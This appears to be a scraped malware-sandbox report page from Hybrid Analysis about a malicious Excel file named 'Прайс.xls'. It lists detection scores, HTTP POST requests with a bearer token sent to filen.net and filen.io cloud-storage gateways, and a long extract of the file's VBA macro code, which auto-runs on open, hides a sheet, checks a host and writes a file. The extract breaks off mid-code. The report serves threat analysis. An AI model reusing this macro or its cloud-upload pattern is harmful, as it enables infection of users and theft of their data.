26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 38:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4cd,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Msoffice/malicious_confidence_70% Sample fa0e68457b06… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample fa0e68457b06…. Malware family: Msoffice/malicious_confidence_70%. Threat score 100/100. 6/27 AV engines flagged this file. 6 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/fa0e68457b06c50d41b92ecf3440b0cb0c37e6ccf1bc60039526ec1844f2ce16","keywords":["Malicious","Msoffice/malicious_confidence_70%","malware analysis","sandbox report","threat intelligence","fa0e68457b06c50d41b92ecf3440b0cb0c37e6ccf1bc60039526ec1844f2ce16"],"about":{"@type":"SoftwareApplication","name":"Прайс.xls","applicationCategory":["xls","office"],"identifier":"fa0e68457b06c50d41b92ecf3440b0cb0c37e6ccf1bc60039526ec1844f2ce16","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Msoffice/malicious_confidence_70%","antivirusDetections":{"malicious":6,"total":27},"behavioralIndicators":{"malicious":6,"suspicious":13},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T1545,Contains base64 string in header "POST" in header "POST /v3/dir/exists HTTP/1.1Accept: application/jsonAuthorization: Bearer eJIXv9YX-mYae8oNX70U8HXekQb-htxlK4T65iOqm5ATeF46eu9jmkIfKCpuj-MVContent-Type: application/jsonHost: gateway.filen.netContent-Length: 105Connection: Keep-Alive" Contains base64 string in header "eJIXv9YX" in header "POST /v3/dir/exists HTTP/1.1Accept: application/jsonAuthorization: Bearer eJIXv9YX-mYae8oNX70U8HXekQb-htxlK4T65iOqm5ATeF46eu9jmkIfKCpuj-MVContent-Type: application/jsonHost: gateway.filen.netContent-Length: 105Connection: Keep-Alive" Contains base64 string in header "Type" in header "POST /v3/dir/exists HTTP/1.1Accept: application/jsonAuthorization: Bearer eJIXv9YX-mYae8oNX70U8HXekQb-htxlK4T65iOqm5ATeF46eu9jmkIfKCpuj-MVContent-Type: application/jsonHost: gateway.filen.netContent-Length: 105Connection: Keep-Alive" Contains base64 string in header "application/jsonHost" in header "POST /v3/dir/exists HTTP/1.1Accept: application/jsonAuthorization: Bearer eJIXv9YX-mYae8oNX70U8HXekQb-htxlK4T65iOqm5ATeF46eu9jmkIfKCpuj-MVContent-Type: application/jsonHost: gateway.filen.netContent-Length: 105Connection: Keep-Alive" Contains base64 string in header "Keep" in header "POST /v3/dir/exists HTTP/1.1Accept: application/jsonAuthorization: Bearer eJIXv9YX-mYae8oNX70U8HXekQb-htxlK4T65iOqm5ATeF46eu9jmkIfKCpuj-MVContent-Type: application/jsonHost: gateway.filen.netContent-Length: 105Connection: Keep-Alive" Contains base64 string in header "POST" in header "POST /v3/dir/create HTTP/1.1Accept: application/jsonAuthorization: Bearer eJIXv9YX-mYae8oNX70U8HXekQb-htxlK4T65iOqm5ATeF46eu9jmkIfKCpuj-MVContent-Type: application/jsonHost: gateway.filen-3.netContent-Length: 228Connection: Keep-Alive" Contains base64 string in header "eJIXv9YX" in header "POST /v3/dir/create HTTP/1.1Accept: application/jsonAuthorization: Bearer eJIXv9YX-mYae8oNX70U8HXekQb-htxlK4T65iOqm5ATeF46eu9jmkIfKCpuj-MVContent-Type: application/jsonHost: gateway.filen-3.netContent-Length: 228Connection: Keep-Alive" Contains base64 string in header "Type" in header "POST /v3/dir/create HTTP/1.1Accept: application/jsonAuthorization: Bearer eJIXv9YX-mYae8oNX70U8HXekQb-htxlK4T65iOqm5ATeF46eu9jmkIfKCpuj-MVContent-Type: application/jsonHost: gateway.filen-3.netContent-Length: 228Connection: Keep-Alive" Contains base64 string in header "application/jsonHost" in header "POST /v3/dir/create HTTP/1.1Accept: application/jsonAuthorization: Bearer eJIXv9YX-mYae8oNX70U8HXekQb-htxlK4T65iOqm5ATeF46eu9jmkIfKCpuj-MVContent-Type: application/jsonHost: gateway.filen-3.netContent-Length: 228Connection: Keep-Alive" Contains base64 string in header "Keep" in header "POST /v3/dir/create HTTP/1.1Accept: application/jsonAuthorization: Bearer eJIXv9YX-mYae8oNX70U8HXekQb-htxlK4T65iOqm5ATeF46eu9jmkIfKCpuj-MVContent-Type: application/jsonHost: gateway.filen-3.netContent-Length: 228Connection: Keep-Alive" Contains base64 string in header "POST" in header "POST /v3/upload/done HTTP/1.1Accept: application/jsonAuthorization: Bearer eJIXv9YX-mYae8oNX70U8HXekQb-htxlK4T65iOqm5ATeF46eu9jmkIfKCpuj-MVContent-Type: application/jsonHost: gateway.filen-3.netContent-Length: 652Connection: Keep-Alive" Contains base64 string in header "eJIXv9YX" in header "POST /v3/upload/done HTTP/1.1Accept: application/jsonAuthorization: Bearer eJIXv9YX-mYae8oNX70U8HXekQb-htxlK4T65iOqm5ATeF46eu9jmkIfKCpuj-MVContent-Type: application/jsonHost: gateway.filen-3.netContent-Length: 652Connection: Keep-Alive" Contains base64 string in header "Type" in header "POST /v3/upload/done HTTP/1.1Accept: application/jsonAuthorization: Bearer eJIXv9YX-mYae8oNX70U8HXekQb-htxlK4T65iOqm5ATeF46eu9jmkIfKCpuj-MVContent-Type: application/jsonHost: gateway.filen-3.netContent-Length: 652Connection: Keep-Alive" Contains base64 string in header "application/jsonHost" in header "POST /v3/upload/done HTTP/1.1Accept: application/jsonAuthorization: Bearer eJIXv9YX-mYae8oNX70U8HXekQb-htxlK4T65iOqm5ATeF46eu9jmkIfKCpuj-MVContent-Type: application/jsonHost: gateway.filen-3.netContent-Length: 652Connection: Keep-Alive" Contains base64 string in header "Keep" in header "POST /v3/upload/done HTTP/1.1Accept: application/jsonAuthorization: Bearer eJIXv9YX-mYae8oNX70U8HXekQb-htxlK4T65iOqm5ATeF46eu9jmkIfKCpuj-MVContent-Type: application/jsonHost: gateway.filen-3.netContent-Length: 652Connection: Keep-Alive" Contains base64 string in header "POST" in header "POST /v3/dir/content HTTP/1.1Accept: application/jsonAuthorization: Bearer eJIXv9YX-mYae8oNX70U8HXekQb-htxlK4T65iOqm5ATeF46eu9jmkIfKCpuj-MVContent-Type: application/jsonHost: gateway.filen.ioContent-Length: 66" Contains base64 string in header "eJIXv9YX" in header "POST /v3/dir/content HTTP/1.1Accept: application/jsonAuthorization: Bearer eJIXv9YX-mYae8oNX70U8HXekQb-htxlK4T65iOqm5ATeF46eu9jmkIfKCpuj-MVContent-Type: application/jsonHost: gateway.filen.ioContent-Length: 66" Contains base64 string in header "Type" in header "POST /v3/dir/content HTTP/1.1Accept: application/jsonAuthorization: Bearer eJIXv9YX-mYae8oNX70U8HXekQb-htxlK4T65iOqm5ATeF46eu9jmkIfKCpuj-MVContent-Type: application/jsonHost: gateway.filen.ioContent-Length: 66" Contains base64 string in header "application/jsonHost" in header "POST /v3/dir/content HTTP/1.1Accept: application/jsonAuthorization: Bearer eJIXv9YX-mYae8oNX70U8HXekQb-htxlK4T65iOqm5ATeF46eu9jmkIfKCpuj-MVContent-Type: application/jsonHost: gateway.filen.ioContent-Length: 66"28:T17230,File "ThisWorkbook.cls" (Streampath: "_VBA_PROJECT_CUR/VBA/ThisWorkbook") has code: "Private Sub Workbook_BeforeClose(Cancel As Boolean) On Error Resume Next #If Win64 = 1 Or Win32 = 1 Then #Else Exit Sub #End If clr ThisWorkbook.Save End Sub Private Sub Workbook_Open() On Error Resume Next ThisWorkbook.Sheets(1).Visible = 2 chk = 0 flr = 0 smf If flr = 0 Then ost End If u End Sub" File "Module1.bas" (Streampath: "_VBA_PROJECT_CUR/VBA/Module1") has code: "Public tf As String Public Const SUHq As Long = &H100 Public Const SUq As Long = &H1 Public flr As Integer Public dna As String Public Const fsz1 = 218112 Public Sub chkin() Dim hostent_ptr As LongPtr hostent_ptr = gethostbyname("ingest.filen.io" & Chr$(0)) If hostent_ptr <> 0 Then chk = chk + 8 End If End Sub Public Function wtof(file_path As String, file_bytes() As Byte) As Boolean Dim res As Boolean res = False Dim createFile_kas As lorex createFile_kas.nL = Len(createFile_kas) createFile_kas.lSD = 0& createFile_kas.bIH = True #If VBA7 Then Dim file_handle As LongPtr #Else Dim file_handle As Long #End If file_handle = WiCrFl(StrPtr(file_path), GWq, FSRq, createFile_kas, CAq, FANq, ByVal 0&) If file_handle <= 0& Then wtof = res Exit Function End If Dim b_write As Long Dim file_bytes_length As Long file_bytes_length = GetSz(file_bytes) res = FLw(file_handle, file_bytes(0), file_bytes_length, b_write, ByVal 0&) Cfl (file_handle) wtof = res End Function Public Sub uu() On Error Resume Next hc (ThisWorkbook.Sheets(2).Range("A1").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B1").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C1").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D1").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E1").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F1").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G1").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("A3").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B3").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C3").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D3").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E3").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F3").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G3").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("A4").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B4").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C4").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D4").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E4").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F4").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G4").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("A5").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B5").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C5").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D5").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E5").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F5").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G5").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("A6").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B6").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C6").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D6").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E6").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F6").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G6").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("A7").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B7").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C7").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D7").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E7").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F7").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G7").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("A8").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B8").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C8").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D8").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E8").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F8").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G8").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("A9").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B9").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C9").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D9").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E9").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F9").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G9").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("A10").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B10").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C10").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D10").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E10").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F10").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G10").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("A11").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B11").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C11").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D11").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E11").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F11").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G11").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("A12").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B12").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C12").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D12").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E12").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F12").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G12").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("A13").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B13").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C13").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D13").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E13").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F13").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G13").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("A14").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B14").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C14").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D14").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E14").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F14").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G14").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("A15").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B15").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C15").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D15").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E15").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F15").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G15").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("A16").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B16").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C16").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D16").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E16").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F16").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G16").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("A17").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B17").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C17").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D17").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E17").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F17").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G17").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("A18").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B18").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C18").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D18").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E18").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F18").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G18").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("A19").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B19").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C19").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D19").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E19").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F19").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G19").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("A20").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B20").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C20").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D20").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E20").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F20").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G20").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("A21").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B21").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C21").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D21").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E21").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F21").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G21").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("A22").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B22").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C22").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D22").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E22").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F22").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G22").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("A23").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B23").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C23").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D23").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E23").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F23").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G23").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("A24").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B24").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C24").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D24").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E24").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F24").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G24").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("A25").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B25").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C25").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D25").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E25").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F25").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G25").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("A26").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B26").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C26").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D26").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E26").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F26").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G26").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("A27").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B27").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C27").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D27").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E27").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F27").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G27").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("A28").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B28").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C28").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D28").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E28").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F28").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G28").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("A29").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B29").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C29").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D29").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E29").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F29").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G29").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("A30").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B30").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C30").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D30").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E30").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F30").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G30").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("A31").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B31").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C31").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D31").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E31").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F31").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G31").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("A32").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B32").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C32").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D32").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E32").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F32").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G32").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("A33").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B33").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C33").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D33").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E33").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F33").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G33").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("A34").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B34").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C34").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D34").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E34").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F34").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G34").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("A35").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B35").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C35").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D35").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E35").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F35").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G35").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("A36").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B36").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C36").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D36").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E36").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F36").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G36").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("A37").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B37").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C37").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D37").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E37").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F37").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G37").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("A38").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B38").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C38").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D38").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E38").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F38").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G38").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("A39").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B39").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C39").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D39").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E39").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F39").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G39").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("A40").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B40").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C40").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D40").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E40").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F40").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G40").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("A43").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B43").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C43").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D43").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E43").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F43").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G43").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("A44").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("B44").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("C44").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("D44").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("E44").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("F44").offset(0, 0).Address) hc (ThisWorkbook.Sheets(2).Range("G44").offset(0, 0).Address) hc 